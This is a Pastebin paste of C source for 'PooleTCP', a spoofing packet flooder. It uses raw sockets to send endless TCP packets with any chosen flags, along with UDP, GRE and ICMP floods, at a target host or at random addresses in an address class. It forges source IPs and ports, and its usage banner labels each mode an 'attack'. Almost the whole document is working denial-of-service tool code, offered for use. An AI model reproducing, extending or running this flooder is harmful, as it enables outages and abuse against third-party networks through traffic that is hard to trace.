Advertisement
1337ings

[C] PooleTCP-DoS

Jan 30th, 2017
646
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.37 KB | None | 0 0
  1. // PooleTCP is a TCP-DoS that can perform all TCP requests
  2. // Coded by Chris Poole | @codingplanets
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <sys/types.h>
  8. #ifdef F_PASS
  9. #include <sys/stat.h>
  10. #endif
  11. #include <netinet/in_systm.h>                                                  
  12. #include <sys/socket.h>
  13. #include <string.h>
  14. #include <time.h>
  15. #include <signal.h>
  16. #ifndef __USE_BSD
  17. #   define __USE_BSD
  18. #endif
  19. #ifndef __FAVOR_BSD
  20. #   define __FAVOR_BSD
  21. #endif
  22. #include <netinet/in.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/tcp.h>
  25. #include <netinet/udp.h>
  26. #include <netinet/ip_icmp.h>
  27. #include <arpa/inet.h>
  28. #ifdef LINUX
  29. #   define FIX(x)  htons(x)
  30. #else
  31. #   define FIX(x)  (x)
  32. #endif
  33. #define PSIZE 65535
  34. #define TCP_ACK         1
  35. #define TCP_FIN         2
  36. #define TCP_SYN         4
  37. #define TCP_RST         8
  38. #define UDP_CFF         16
  39. #define ICMP_ECHO_G     32
  40. #define TCP_NOF         64
  41. #define TCP_URG         128
  42. #define TCP_PSH           258
  43. #define TCP_ECE        512
  44. #define TCP_CWR        1024
  45. #define GRE_CFF         2048
  46. #define TH_NOF          0x0
  47. #define TH_FIN          0x01
  48. #define TH_SYN          0x02
  49. #define TH_RST          0x04
  50. #define TH_PUSH         0x08
  51. #define TH_ACK          0x10
  52. #define TH_URG          0x20
  53. #define TH_ECE          0x40
  54. #define TH_CWR          0x80
  55. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  56.                          a_flags & TCP_FIN ||\
  57.                          a_flags & TCP_SYN ||\
  58.                          a_flags & TCP_RST ||\
  59.                          a_flags & TCP_NOF ||\
  60.                          a_flags & TCP_PSH ||\
  61.                          a_flags & TCP_ECE ||\
  62.                          a_flags & TCP_CWR ||\
  63.                          a_flags & TCP_URG )
  64. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  65. #define GRE_ATTACK()    (a_flags & GRE_CFF)
  66. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  67. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  68.                           random ()   :\
  69.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  70. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  71.                           random ()   :\
  72.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  73. #define SEND_PACKET()   if (sendto(rawsock,\
  74.                         &packet,\
  75.                         (sizeof packet),\
  76.                          0,\
  77.                         (struct sockaddr *)&target,\
  78.                          sizeof target) < 0) {\
  79.                          perror("sendto");\
  80.                          exit(-1);\
  81.                         }
  82. /* linux cksum */
  83. #define BANNER_CKSUM 54018
  84. /* sunos cksum */
  85. //#define BANNER_CKSUM 723
  86. int psize = 0;
  87. u_long lookup(const char *host);
  88. unsigned short in_cksum(unsigned short *addr, int len);                        
  89. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  90. char *class2ip(const char *class);
  91. static void send_tcp(u_char th_flags);
  92. static void send_udp(u_char garbage);
  93. static void send_icmp(u_char garbage);
  94. static void send_gre(u_char garbage);
  95. char *get_plain(const char *crypt_file, const char *xor_data_key);
  96. static void usage(const char *argv0);
  97. u_long dstaddr;
  98. u_short dst_sp, dst_ep, src_sp, src_ep;
  99. char *src_class, *dst_class;
  100. int a_flags, rawsock;
  101. struct sockaddr_in target;
  102. struct pseudo_hdr {        
  103.     u_long saddr, daddr;    
  104.     u_char mbz, ptcl;      
  105.     u_short tcpl;          
  106. };
  107. struct cksum {
  108.     struct pseudo_hdr pseudo;
  109.     struct tcphdr tcp;
  110. };
  111. struct {
  112.     int gv;
  113.     int kv;
  114.     void (*f)(u_char);
  115. } a_list[] = {
  116.     { TCP_ACK, TH_ACK, send_tcp },
  117.     { TCP_FIN, TH_FIN, send_tcp },
  118.     { TCP_SYN, TH_SYN, send_tcp },
  119.     { TCP_RST, TH_RST, send_tcp },
  120.     { TCP_NOF, TH_NOF, send_tcp },
  121.     { TCP_URG, TH_URG, send_tcp },
  122.     { TCP_PSH, TH_PUSH, send_tcp },
  123.     { TCP_ECE, TH_ECE, send_tcp },
  124.     { TCP_CWR, TH_CWR, send_tcp },
  125.     { UDP_CFF, 0, send_udp },
  126.     { GRE_CFF, 0, send_gre },
  127.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  128.     { 0, 0, (void *)NULL },
  129. };
  130. int
  131. main(int argc, char *argv[])
  132. {
  133.     int n, i, on = 1;
  134.     int b_link;
  135. #ifdef F_PASS
  136.     struct stat sb;
  137. #endif
  138.     unsigned int until;
  139.     a_flags = dstaddr = i = 0;
  140.     dst_sp = dst_ep = src_sp = src_ep = 0;
  141.     until = b_link = -1;
  142.     src_class = dst_class = NULL;
  143.     while ( (n = getopt(argc, argv, "T:RGUINs:h:d:p:q:l:x:t:")) != -1) {
  144.         char *p;
  145.         switch (n) {
  146.             case 'T':
  147.                 switch (atoi(optarg)) {
  148.                     case 0: a_flags |= TCP_ACK; break;
  149.                     case 1: a_flags |= TCP_PSH; break;
  150.                     case 2: a_flags |= TCP_RST; break;
  151.                     case 3: a_flags |= TCP_SYN; break;
  152.                     case 4: a_flags |= TCP_URG; break;
  153.                     case 5: a_flags |= TCP_FIN; break;
  154.                     case 6: a_flags |= TCP_ECE; break;
  155.                     case 7: a_flags |= TCP_CWR; break;
  156.                 }
  157.                 break;
  158.             case 'U':
  159.                 a_flags |= UDP_CFF;
  160.                 break;
  161.             case 'R':
  162.                 a_flags |= rand();
  163.                 break;
  164.             case 'G':
  165.                 a_flags |= GRE_CFF;
  166.                 break;
  167.             case 'I':
  168.                 a_flags |= ICMP_ECHO_G;
  169.                 break;
  170.             case 'N':
  171.                 a_flags |= TCP_NOF;
  172.                 break;
  173.             case 's':
  174.                 src_class = optarg;
  175.                 break;
  176.             case 'h':
  177.                 dstaddr = lookup(optarg);    
  178.                 break;
  179.             case 'd':
  180.                 dst_class = optarg;
  181.                 i = 1;
  182.                 break;
  183.             case 'x':
  184.                 psize = atoi(optarg);
  185.                 break;
  186.             case 'p':
  187.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  188.                 usage(argv[0]);
  189.                 dst_sp = atoi(optarg);
  190.                 dst_ep = atoi(p +1);  
  191.                 break;
  192.             case 'q':
  193.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  194.                 usage(argv[0]);
  195.                 src_sp = atoi(optarg);
  196.                 src_ep = atoi(p +1);
  197.                 break;
  198.             case 'l':
  199.                 b_link = atoi(optarg);
  200.                 if (b_link <= 0 || b_link > 100)
  201.                 usage(argv[0]);
  202.                 break;
  203.             case 't':
  204.                 until = time(0) +atoi(optarg);
  205.                 break;
  206.             default:
  207.                 usage(argv[0]);
  208.                 break;
  209.         }
  210.     }
  211.     if ( (!dstaddr && !i) ||
  212.          (dstaddr && i) ||
  213.          (!TCP_ATTACK() && !GRE_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  214.          (src_sp != 0 && src_sp > src_ep) ||
  215.          (dst_sp != 0 && dst_sp > dst_ep))
  216.           usage(argv[0]);
  217.     srandom(time(NULL) ^ getpid());
  218.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  219.         perror("socket");
  220.         exit(-1);
  221.     }
  222.     if (!psize)
  223.         psize = PSIZE;
  224.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  225.         (char *)&on, sizeof(on)) < 0) {
  226.             perror("setsockopt");
  227.             exit(-1);
  228.     }
  229.     target.sin_family           = AF_INET;
  230.     for (n = 0; ; ) {
  231.         if (b_link != -1 && random() % 100 +1 > b_link) {
  232.             if (random() % 200 +1 > 199)
  233.             usleep(1);
  234.             continue;
  235.         }
  236.         for (i = 0; a_list[i].f != NULL; ++i) {
  237.             if (a_list[i].gv & a_flags)
  238.             a_list[i].f(a_list[i].kv);
  239.         }        
  240.         if (n++ == 100) {
  241.             if (until != -1 && time(0) >= until) break;
  242.             n = 0;
  243.         }
  244.     }          
  245.     exit(0);
  246. }
  247. u_long
  248. lookup(const char *host)
  249. {
  250.     struct hostent *hp;
  251.     if ( (hp = gethostbyname(host)) == NULL) {
  252.         perror("gethostbyname");
  253.         exit(-1);
  254.     }
  255.     return *(u_long *)hp->h_addr;
  256. }
  257. #define RANDOM() (int) random() % 255 +1
  258. char *
  259. class2ip(const char *class)
  260. {
  261.     static char ip[16];
  262.     int i, j;
  263.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  264.         if (class[i] == '.')
  265.             ++j;
  266.     switch (j) {
  267.         case 0:
  268.     sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 245+1, (int) random() % 225+1, (int) random() % 215+1);
  269.     break;
  270.     case 1:
  271.     sprintf(ip, "%s.%d.%d", class, (int) random() % 245+1, (int) random() % 215+1);
  272.     break;
  273.     case 2:
  274.     sprintf(ip, "%s.%d", class, (int) random() % 245+1);
  275.     break;
  276.         default: strncpy(ip, class, 16);
  277.                  break;
  278.     }
  279.     return ip;
  280. }
  281. unsigned short
  282. in_cksum(unsigned short *addr, int len)
  283. {
  284.     int nleft = len;
  285.     int sum = 0;
  286.     unsigned short *w = addr;
  287.     unsigned short answer = 0;
  288.     while (nleft > 1) {
  289.         sum += *w++;
  290.         nleft -= 2;
  291.     }
  292.     if (nleft == 1) {
  293.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  294.         sum += answer;
  295.     }
  296.     sum    = (sum >> 16) + (sum & 0xffff);  
  297.     sum   += (sum >> 16);                  
  298.     answer = ~sum;                        
  299.     return answer;
  300. }
  301. static void
  302. inject_iphdr(struct ip *ip, u_char p, u_char len)
  303. {
  304.     ip->ip_hl             = 5;
  305.     ip->ip_v              = 4;
  306.     ip->ip_p              = p;
  307.     ip->ip_tos            = 0x08;
  308.     ip->ip_id             = random();
  309.     ip->ip_len            = len;
  310.     ip->ip_off            = 0;
  311.     ip->ip_ttl            = 255;
  312.     ip->ip_dst.s_addr     = dst_class != NULL ?
  313.                             inet_addr(class2ip(dst_class)) :
  314.                             dstaddr;
  315.     ip->ip_src.s_addr     = src_class != NULL ?
  316.                             inet_addr(class2ip(src_class)) :
  317.                             random();
  318.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  319. }    
  320. static void
  321. send_tcp(u_char th_flags)
  322. {
  323.     struct cksum cksum;
  324.     struct packet {
  325.     struct ip ip;
  326.     struct tcphdr tcp;
  327.     } packet;
  328.     memset(&packet, 0, sizeof packet);
  329.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  330.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip,0);
  331.     cksum.pseudo.daddr      = dstaddr;
  332.     cksum.pseudo.mbz        = 0;
  333.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  334.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  335.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  336.     packet.tcp.th_win       = random();
  337.     packet.tcp.th_seq       = random();
  338.     packet.tcp.th_ack       = random();
  339.     packet.tcp.th_flags     = th_flags;
  340.     packet.tcp.th_off       = 5;
  341.     packet.tcp.th_urp       = 1;
  342.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  343.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  344.     cksum.tcp               = packet.tcp;
  345.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  346.     SEND_PACKET();
  347. }
  348. static void
  349. send_udp(u_char garbage)
  350. {                      
  351.     struct packet {
  352.     struct ip ip;
  353.     struct udphdr udp;
  354.     } packet;
  355.     memset(&packet, 0, sizeof packet);
  356.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  357.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip,0);
  358.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  359.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  360.     packet.udp.uh_ulen          = htons(sizeof(struct udphdr) + psize);
  361.     packet.udp.uh_sum           = 0;
  362.     SEND_PACKET();
  363. }
  364. static void
  365. send_gre(u_char garbage)
  366. {                      
  367.     struct packet {
  368.     struct ip ip;
  369.     struct udphdr udp;
  370.     } packet;
  371.     memset(&packet, 0, sizeof packet);
  372.     inject_iphdr(&packet.ip, IPPROTO_GRE, FIX(sizeof packet));
  373.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip,0);
  374.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  375.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  376.     packet.udp.uh_ulen          = htons(sizeof(struct udphdr) + psize);
  377.     packet.udp.uh_sum           = 0;
  378.     SEND_PACKET();
  379. }
  380. static void
  381. send_icmp(u_char gargabe)
  382. {
  383.     struct packet {
  384.     struct ip ip;
  385.     struct icmp icmp;
  386.     } packet;
  387.     memset(&packet, 0, sizeof packet);
  388.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  389.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  390.     packet.icmp.icmp_type       = ICMP_ECHO;
  391.     packet.icmp.icmp_code       = 0;
  392.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  393.     SEND_PACKET();
  394. }
  395. const char *banner = "\e[1;37m(\e[0m\e[0;31mPooleTCP\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mChris Poole\e[0m\e[1;37m)\e[0m";
  396. static void
  397. usage(const char *argv0)
  398. {
  399.     printf("%s \n", banner);
  400.         printf("    -U UDP   attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  401.         printf("    -I ICMP  attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  402.         printf("    -N Bogus attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  403.         printf("    -R Randomised attack                    \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  404.         printf("    -G GRE attck                            \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  405.         printf("    -T TCP   attack                      \e[1;37m[\e[0m0:ACK   1:PSH\e[1;37m]\e[0m\n");
  406.         printf("                                         \e[1;37m[\e[0m2:RST   3:SYN\e[1;37m]\e[0m\n");    
  407.         printf("                                         \e[1;37m[\e[0m4:URG   5:FIN\e[1;37m]\e[0m\n");
  408.         printf("                                         \e[1;37m[\e[0m6:ECE   7:CWR\e[1;37m]\e[0m\n");
  409.         printf("    -h target host/ip                       \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  410.         printf("    -d destination class                        \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  411.         printf("    -s source class/ip                          \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  412.         printf("    -p destination port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  413.         printf("    -q source port range      [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  414.         printf("    -l pps limiter                            \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
  415.         printf("    -t timeout                              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  416.         printf("    -x udp length                              \e[1;37m(\e[0m\e[0;31m1-65535\e[0m\e[1;37m)\e[0m\n");
  417.     printf("\e[1musage\e[0m: %s -T0 -U -h 12.12.12.12 -x5\n", argv0);
  418.     exit(-1);
  419. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement